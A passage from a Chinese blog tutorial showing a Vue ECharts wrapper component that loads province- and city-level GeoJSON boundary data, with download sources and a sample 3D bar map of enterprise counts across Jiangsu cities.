class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div class=&quot;echarts&quot;/&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">import &#123;watchEffect&#125; from &#x27;vue&#x27;</span><br><span class="line">import * as echarts from &#x27;echarts&#x27;</span><br><span class="line">import debounce from &#x27;lodash/debounce&#x27;</span><br><span class="line">import &#123;addListener, removeListener&#125; from &#x27;resize-detector&#x27;</span><br><span class="line"></span><br><span class="line">const INIT_TRIGGERS = [&#x27;theme&#x27;, &#x27;initOptions&#x27;, &#x27;autoResize&#x27;]</span><br><span class="line">const REWATCH_TRIGGERS = [&#x27;manualUpdate&#x27;, &#x27;watchShallow&#x27;]</span><br><span class="line"></span><br><span class="line">export default &#123;</span><br><span class="line">  props: &#123;</span><br><span class="line">    option: &#123;</span><br><span class="line">      type: Object,</span><br><span class="line">      default: () =&gt; &#123;</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;,</span><br><span class="line">    initOptions: &#123;</span><br><span class="line">      type: Object,</span><br><span class="line">      default: () =&gt; &#123;</span><br><span class="line">      &#125;,</span><br><span class="line">    &#125;,</span><br><span class="line">    group: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;,</span><br><span class="line">    &#125;,</span><br><span class="line">    autoResize: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: true,</span><br><span class="line">    &#125;,</span><br><span class="line">    watchShallow: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: false,</span><br><span class="line">    &#125;,</span><br><span class="line">    manualUpdate: &#123;</span><br><span class="line">      type: Boolean,</span><br><span class="line">      default: false,</span><br><span class="line">    &#125;,</span><br><span class="line">    proCity: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &quot;&quot;,</span><br><span class="line">    &#125;,</span><br><span class="line">    level: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &quot;province&quot;,</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  setup() &#123;</span><br><span class="line">    watchEffect(() =&gt; &#123;</span><br><span class="line">    &#125;)</span><br><span class="line">    return &#123;</span><br><span class="line">      lastArea: 0,</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  watch: &#123;</span><br><span class="line">    proCity() &#123;</span><br><span class="line">      this.initOptionsWatcher()</span><br><span class="line">      this.refresh()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  created() &#123;</span><br><span class="line">    this.initOptionsWatcher()</span><br><span class="line">    INIT_TRIGGERS.forEach((prop) =&gt; &#123;</span><br><span class="line">      this.$watch(</span><br><span class="line">        prop,</span><br><span class="line">        () =&gt; &#123;</span><br><span class="line">          this.refresh()</span><br><span class="line">        &#125;,</span><br><span class="line">        &#123;deep: true&#125;</span><br><span class="line">      )</span><br><span class="line">    &#125;)</span><br><span class="line">    REWATCH_TRIGGERS.forEach((prop) =&gt; &#123;</span><br><span class="line">      this.$watch(prop, () =&gt; &#123;</span><br><span class="line">        this.initOptionsWatcher()</span><br><span class="line">        this.refresh()</span><br><span class="line">      &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line">  &#125;,</span><br><span class="line">  mounted() &#123;</span><br><span class="line">    if (this.option) &#123;</span><br><span class="line">      this.init()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  activated() &#123;</span><br><span class="line">    if (this.autoResize) &#123;</span><br><span class="line">      this.chart &amp;&amp; this.chart.resize()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  unmounted() &#123;</span><br><span class="line">    if (this.chart) &#123;</span><br><span class="line">      this.destroy()</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  methods: &#123;</span><br><span class="line">    mergeOptions(option, notMerge, lazyUpdate) &#123;</span><br><span class="line">      if (this.manualUpdate) &#123;</span><br><span class="line">        this.manualOptions = option</span><br><span class="line">      &#125;</span><br><span class="line">      if (!this.chart) &#123;</span><br><span class="line">        this.init(option)</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        this.delegateMethod(&#x27;setOption&#x27;, option, notMerge, lazyUpdate)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    appendData(params) &#123;</span><br><span class="line">      this.delegateMethod(&#x27;appendData&#x27;, params)</span><br><span class="line">    &#125;,</span><br><span class="line">    resize(option) &#123;</span><br><span class="line">      this.delegateMethod(&#x27;resize&#x27;, option)</span><br><span class="line">    &#125;,</span><br><span class="line">    dispatchAction(payload) &#123;</span><br><span class="line">      this.delegateMethod(&#x27;dispatchAction&#x27;, payload)</span><br><span class="line">    &#125;,</span><br><span class="line">    convertToPixel(finder, value) &#123;</span><br><span class="line">      return this.delegateMethod(&#x27;convertToPixel&#x27;, finder, value)</span><br><span class="line">    &#125;,</span><br><span class="line">    convertFromPixel(finder, value) &#123;</span><br><span class="line">      return this.delegateMethod(&#x27;convertFromPixel&#x27;, finder, value)</span><br><span class="line">    &#125;,</span><br><span class="line">    containPixel(finder, value) &#123;</span><br><span class="line">      return this.delegateMethod(&#x27;containPixel&#x27;, finder, value)</span><br><span class="line">    &#125;,</span><br><span class="line">    showLoading(type, option) &#123;</span><br><span class="line">      this.delegateMethod(&#x27;showLoading&#x27;, type, option)</span><br><span class="line">    &#125;,</span><br><span class="line">    hideLoading() &#123;</span><br><span class="line">      this.delegateMethod(&#x27;hideLoading&#x27;)</span><br><span class="line">    &#125;,</span><br><span class="line">    getDataURL(option) &#123;</span><br><span class="line">      return this.delegateMethod(&#x27;getDataURL&#x27;, option)</span><br><span class="line">    &#125;,</span><br><span class="line">    getConnectedDataURL(option) &#123;</span><br><span class="line">      return this.delegateMethod(&#x27;getConnectedDataURL&#x27;, option)</span><br><span class="line">    &#125;,</span><br><span class="line">    clear() &#123;</span><br><span class="line">      this.delegateMethod(&#x27;clear&#x27;)</span><br><span class="line">    &#125;,</span><br><span class="line">    dispose() &#123;</span><br><span class="line">      this.delegateMethod(&#x27;dispose&#x27;)</span><br><span class="line">    &#125;,</span><br><span class="line">    delegateMethod(name, ...args) &#123;</span><br><span class="line">      if (!this.chart) &#123;</span><br><span class="line">        this.init()</span><br><span class="line">      &#125;</span><br><span class="line">      return this.chart[name](...args)</span><br><span class="line">    &#125;,</span><br><span class="line">    delegateGet(methodName) &#123;</span><br><span class="line">      if (!this.chart) &#123;</span><br><span class="line">        this.init()</span><br><span class="line">      &#125;</span><br><span class="line">      return this.chart[methodName]()</span><br><span class="line">    &#125;,</span><br><span class="line">    getArea() &#123;</span><br><span class="line">      return this.$el.offsetWidth * this.$el.offsetHeight</span><br><span class="line">    &#125;,</span><br><span class="line">    init(option) &#123;</span><br><span class="line">      if (this.chart) &#123;</span><br><span class="line">        return</span><br><span class="line">      &#125;</span><br><span class="line">      const chart = echarts.init(this.$el, this.initOptions)</span><br><span class="line">      chart.showLoading();</span><br><span class="line">      if (this.group) &#123;</span><br><span class="line">        chart.group = this.group</span><br><span class="line">      &#125;</span><br><span class="line">      let geoJson = require(`@/geo/$&#123;this.level&#125;/$&#123;this.proCity&#125;.json`)</span><br><span class="line">      echarts.registerMap(&#x27;china&#x27;, geoJson);</span><br><span class="line">      chart.hideLoading();</span><br><span class="line">      chart.setOption(option || this.manualOptions || this.option || &#123;&#125;, true)</span><br><span class="line">      if (this.autoResize) &#123;</span><br><span class="line">        this.lastArea = this.getArea()</span><br><span class="line">        this.__resizeHandler = debounce(</span><br><span class="line">          () =&gt; &#123;</span><br><span class="line">            if (this.lastArea === 0) &#123;</span><br><span class="line">              this.mergeOptions(&#123;&#125;, true)</span><br><span class="line">              this.resize()</span><br><span class="line">              this.mergeOptions(this.option || this.manualOptions || &#123;&#125;, true)</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">              this.resize()</span><br><span class="line">            &#125;</span><br><span class="line">            this.lastArea = this.getArea()</span><br><span class="line">          &#125;,</span><br><span class="line">          100,</span><br><span class="line">          &#123;leading: true&#125;</span><br><span class="line">        )</span><br><span class="line">        addListener(this.$el, this.__resizeHandler)</span><br><span class="line">      &#125;</span><br><span class="line">      Object.defineProperties(this, &#123;</span><br><span class="line">        width: &#123;</span><br><span class="line">          configurable: true,</span><br><span class="line">          get: () =&gt; &#123;</span><br><span class="line">            return this.delegateGet(&#x27;getWidth&#x27;)</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">        height: &#123;</span><br><span class="line">          configurable: true,</span><br><span class="line">          get: () =&gt; &#123;</span><br><span class="line">            return this.delegateGet(&#x27;getHeight&#x27;)</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">        isDisposed: &#123;</span><br><span class="line">          configurable: true,</span><br><span class="line">          get: () =&gt; &#123;</span><br><span class="line">            return !!this.delegateGet(&#x27;isDisposed&#x27;)</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">        computedOptions: &#123;</span><br><span class="line">          configurable: true,</span><br><span class="line">          get: () =&gt; &#123;</span><br><span class="line">            return this.delegateGet(&#x27;getOption&#x27;)</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">      &#125;)</span><br><span class="line">      this.chart = chart</span><br><span class="line">    &#125;,</span><br><span class="line">    initOptionsWatcher() &#123;</span><br><span class="line">      if (this.__unwatchOptions) &#123;</span><br><span class="line">        this.__unwatchOptions()</span><br><span class="line">        this.__unwatchOptions = null</span><br><span class="line">      &#125;</span><br><span class="line">      if (!this.manualUpdate) &#123;</span><br><span class="line">        this.__unwatchOptions = this.$watch(</span><br><span class="line">          &#x27;option&#x27;,</span><br><span class="line">          (val, oldVal) =&gt; &#123;</span><br><span class="line">            if (!this.chart &amp;&amp; val) &#123;</span><br><span class="line">              this.init()</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">              this.chart.setOption(val, val !== oldVal)</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;,</span><br><span class="line">          &#123;deep: !this.watchShallow&#125;</span><br><span class="line">        )</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">    destroy() &#123;</span><br><span class="line">      if (this.autoResize) &#123;</span><br><span class="line">        removeListener(this.$el, this.__resizeHandler)</span><br><span class="line">      &#125;</span><br><span class="line">      this.dispose()</span><br><span class="line">      this.chart = null</span><br><span class="line">    &#125;,</span><br><span class="line">    refresh() &#123;</span><br><span class="line">      if (this.chart) &#123;</span><br><span class="line">        this.destroy()</span><br><span class="line">        this.init()</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;,</span><br><span class="line">  connect(group) &#123;</span><br><span class="line">    if (typeof group !== &#x27;string&#x27;) &#123;</span><br><span class="line">      group = group.map((chart) =&gt; chart.chart)</span><br><span class="line">    &#125;</span><br><span class="line">    echarts.connect(group)</span><br><span class="line">  &#125;,</span><br><span class="line">  disconnect(group) &#123;</span><br><span class="line">    echarts.disConnect(group)</span><br><span class="line">  &#125;,</span><br><span class="line">  getMap(mapName) &#123;</span><br><span class="line">    return echarts.getMap(mapName)</span><br><span class="line">  &#125;,</span><br><span class="line">  registerMap(mapName, geoJSON, specialAreas) &#123;</span><br><span class="line">    echarts.registerMap(mapName, geoJSON, specialAreas)</span><br><span class="line">  &#125;,</span><br><span class="line">  graphic: echarts.graphic,</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line">&lt;style lang=&quot;scss&quot;&gt;</span><br><span class="line">&lt;/style&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="找到相关的地图选择器-如阿里的">找到相关的地图选择器,如阿里的</h3><a class="tag-Link" target="_blank" href="http://datav.aliyun.com/portal/school/atlas/area_selector">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/datav.aliyun.com/portal/school/atlas/area_selector.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">下载地图边界数据</div>            <div class="tag-link-sitename">datav</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><p>或者使用我个人的cdn上的数据，前缀为<code>https://cdn.allbs.cn/pluginsSrc/geo/</code></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/b2ad433567afd072a86bf84bc44373ae.png" alt="image-20221008155711475"></p><p>示例,默认前缀+上方显示的几个json文件则为世界或者全国的边界数据。前缀+province+当前省的地址码则为省份相关的边界数据。前缀+city+当前市的地址码则为市级相关的边界数据。</p><ul><li><p>全国地图边界数据,则url为<code>https://cdn.allbs.cn/pluginsSrc/geo/china.json</code></p></li><li><p>江苏省数据url则为<code>https://cdn.allbs.cn/pluginsSrc/geo/province/320000.json</code></p></li><li><p>南京市数据url则为<code>https://cdn.allbs.cn/pluginsSrc/geo/city/320100.json</code></p></li></ul><h3 id="下载地图相关的json数据，province中保存的是省一级的数据，city中保存的是市一级的数据">下载地图相关的json数据，province中保存的是省一级的数据，city中保存的是市一级的数据</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/fcb8dcac7cca04e2ced8d77f713c1f17.png" alt="image-20221008154546403"></p><h3 id="实际使用-下面的两种示例不是根据省市区分的，只是两种写法，里面包含一些echarts-gl的用法的区别">实际使用(下面的两种示例不是根据省市区分的，只是两种写法，里面包含一些echarts-gl的用法的区别)</h3><h4 id="省份">省份</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">&lt;geo-chart</span><br><span class="line">            class=&quot;jp-chart e-h-600&quot;</span><br><span class="line">            :init-options=&quot;initOptions&quot;</span><br><span class="line">            :option=&quot;mapOption&quot;</span><br><span class="line">            ref=&quot;mapChartRef&quot;</span><br><span class="line">            :pro-city=&quot;proCity&quot;</span><br><span class="line">            :level=&quot;level&quot;</span><br><span class="line">          /&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line">&lt;script&gt;</span><br><span class="line">import GeoChart from &quot;@/extra/GeoChart&quot;;</span><br><span class="line">export default &#123;</span><br><span class="line">  name: &quot;index&quot;,</span><br><span class="line">  props: &#123;</span><br><span class="line">    proCity: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;</span><br><span class="line">    &#125;,</span><br><span class="line">    proCityName: &#123;</span><br><span class="line">      type: String,</span><br><span class="line">      default: &#x27;&#x27;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  data() &#123;</span><br><span class="line">    return &#123;</span><br><span class="line">      pieChartOption: &#123;&#125;,</span><br><span class="line">      hxtUseChartOption: &#123;&#125;,</span><br><span class="line">      phChartOption: &#123;&#125;,</span><br><span class="line">      mapOption: &#123;&#125;,</span><br><span class="line">      level: &#x27;province&#x27;,</span><br><span class="line">      geoJson: &#123;&#125;,</span><br><span class="line">      dqData: [</span><br><span class="line">        &#123;&#x27;name&#x27;: &#x27;南京市&#x27;, &#x27;value&#x27;: 66&#125;,</span><br><span class="line">        &#123;&#x27;name&#x27;: &#x27;镇江市&#x27;, &#x27;value&#x27;: 77&#125;,</span><br><span class="line">        &#123;&#x27;name&#x27;: &#x27;宿迁市&#x27;, &#x27;value&#x27;: 22&#125;,</span><br><span class="line">        &#123;&#x27;name&#x27;: &#x27;盐城市&#x27;, &#x27;value&#x27;: 45&#125;,</span><br><span class="line">        &#123;&#x27;name&#x27;: &#x27;苏州市&#x27;, &#x27;value&#x27;: 50&#125;,</span><br><span class="line">      ]</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  components: &#123;GeoChart&#125;,</span><br><span class="line">  mounted: function () &#123;</span><br><span class="line">  &#125;,</span><br><span class="line">  watch: &#123;</span><br><span class="line">    proCity() &#123;</span><br><span class="line">      this.initMapGeo();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  created() &#123;</span><br><span class="line">    this.initMapGeo();</span><br><span class="line">  &#125;,</span><br><span class="line">  computed: &#123;</span><br><span class="line">  &#125;,</span><br><span class="line">  methods: &#123;</span><br><span class="line">    initMapGeo() &#123;</span><br><span class="line">      let geoJson = require(`@/geo/$&#123;this.level&#125;/$&#123;this.proCity&#125;.json`)</span><br><span class="line">      const provinceCenter = new Map()</span><br><span class="line">      geoJson.features.forEach((province) =&gt; &#123;</span><br><span class="line">        provinceCenter.set(province.properties.name, province.properties.cp)</span><br><span class="line">      &#125;)</span><br><span class="line">      const barData = this.dqData.map((item) =&gt; &#123;</span><br><span class="line">        return &#123;</span><br><span class="line">          name: item.name,</span><br><span class="line">          value: [...provinceCenter.get(item.name), item.value]</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;)</span><br><span class="line">      this.mapOption = &#123;</span><br><span class="line">        title: &#123;</span><br><span class="line">          text: this.proCityName,</span><br><span class="line">          x: &#x27;left&#x27;,</span><br><span class="line">          top: &quot;20&quot;,</span><br><span class="line">          textStyle: &#123;</span><br><span class="line">            color: &#x27;#000&#x27;,</span><br><span class="line">            fontSize: 24</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;,</span><br><span class="line">        tooltip: &#123;</span><br><span class="line">          show: true,</span><br><span class="line">          formatter: (params) =&gt; &#123;</span><br><span class="line">            return &quot;&quot; + params.name + &quot;接入情况&lt;br/&gt;&quot; + &quot;企业数: &quot; + params.value[2] + &quot;家&lt;br/&gt;&quot;;</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">        geo3D: &#123;</span><br><span class="line">          map: &#x27;china&#x27;,</span><br><span class="line">          itemStyle: &#123;</span><br><span class="line">            color: &#x27;#4887f6&#x27;,</span><br><span class="line">            areaColor: &#x27;#48D9FF&#x27;,</span><br><span class="line">            opacity: 1,</span><br><span class="line">            borderWidth: 0.8,</span><br><span class="line">            borderColor: &#x27;#ffffff&#x27;</span><br><span class="line">          &#125;,</span><br><span class="line">          label: &#123;                // 标签的相关设置</span><br><span class="line">            show: true,                 // (地图上的城市名称)是否显示标签 [ default: false ]</span><br><span class="line">            textStyle: &#123;                // 标签的字体样式</span><br><span class="line">              color: &#x27;#fff&#x27;,                  // 地图初始化区域字体颜色</span><br><span class="line">              fontSize: 12,                    // 字体大小</span><br><span class="line">              opacity: 1,                     // 字体透明度</span><br><span class="line">              backgroundColor: &#x27;rgba(0,23,11,0)&#x27;,     // 字体背景色</span><br><span class="line">              fontWeight: &#x27;bold&#x27;</span><br><span class="line">            &#125;,</span><br><span class="line">          &#125;,</span><br><span class="line">          light: &#123; //光照阴影</span><br><span class="line">            main: &#123;</span><br><span class="line">              color: &#x27;#fff&#x27;, //光照颜色</span><br><span class="line">              intensity: 1.2, //光照强度</span><br><span class="line">              //shadowQuality: &#x27;high&#x27;, //阴影亮度</span><br><span class="line">              shadow: true, //是否显示阴影</span><br><span class="line">              alpha: 35,</span><br><span class="line">              beta: 10</span><br><span class="line"></span><br><span class="line">            &#125;,</span><br><span class="line">            ambient: &#123;</span><br><span class="line">              intensity: 0.3</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;,</span><br><span class="line">          tooltip: &#123; //提示框组件。</span><br><span class="line">            alwaysShowContent: true,</span><br><span class="line">            hoverAnimation: true,</span><br><span class="line">            trigger: &#x27;item&#x27;, //触发类型 散点图</span><br><span class="line">            enterable: true, //鼠标是否可进入提示框</span><br><span class="line">            transitionDuration: 1, //提示框移动动画过渡时间</span><br><span class="line">            triggerOn: &#x27;click&#x27;,</span><br><span class="line">            borderWidth: &#x27;1px&#x27;,</span><br><span class="line">            borderRadius: &#x27;4&#x27;,</span><br><span class="line">            borderColor: &#x27;rgb(255,0,0)&#x27;,</span><br><span class="line">            textStyle: &#123;</span><br><span class="line">              color: &#x27;rgb(255,0,0)&#x27;</span><br><span class="line">            &#125;,</span><br><span class="line">            padding: [5, 10]</span><br><span class="line">          &#125;,</span><br><span class="line">        &#125;,</span><br><span class="line">        series: &#123;</span><br><span class="line">          type: &#x27;bar3D&#x27;,</span><br><span class="line">          coordinateSystem: &#x27;geo3D&#x27;,</span><br><span class="line">          itemStyle: &#123;</span><br><span class="line">            color: &#x27;#ff0202&#x27;</span><br><span class="line">          &#125;,</span><br><span class="line">          // 倒角尺寸</span><br><span class="line">          bevelSize: 0.5,</span><br><span class="line">          bevelSmoothness: 20,</span><br><span class="line">          data: barData,</span><br><span class="line">          minHeight: 0.2,</span><br><span class="line">          barSize: 2,</span><br><span class="line">          emphasis: &#123;</span><br><span class="line">            label: &#123;</span><br><span class="line">              show: true,</span><br><span class="line">              formatter: (param) =&gt; &#123;</span><br><span class="line">                return param.name + &#x27; : &#x27; + param.value[2] + &#x27;家&#x27;</span><br><span class="line">              &#125;,</span><br><span class="line">              distance: 1,</span><br><span class="line">              textStyle: &#123;</span><br><span class="line">                fontWeight: &#x27;bold&#x27;,</span><br><span class="line">                fontSize: 18,</span><br><span class="line">                color: &#x27;#ff0202&#x27;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">          &#125;,</span><br><span class="line">          animation: true,</span><br><span class="line">          animationDurationUpdate: 2000</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="市">市</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span 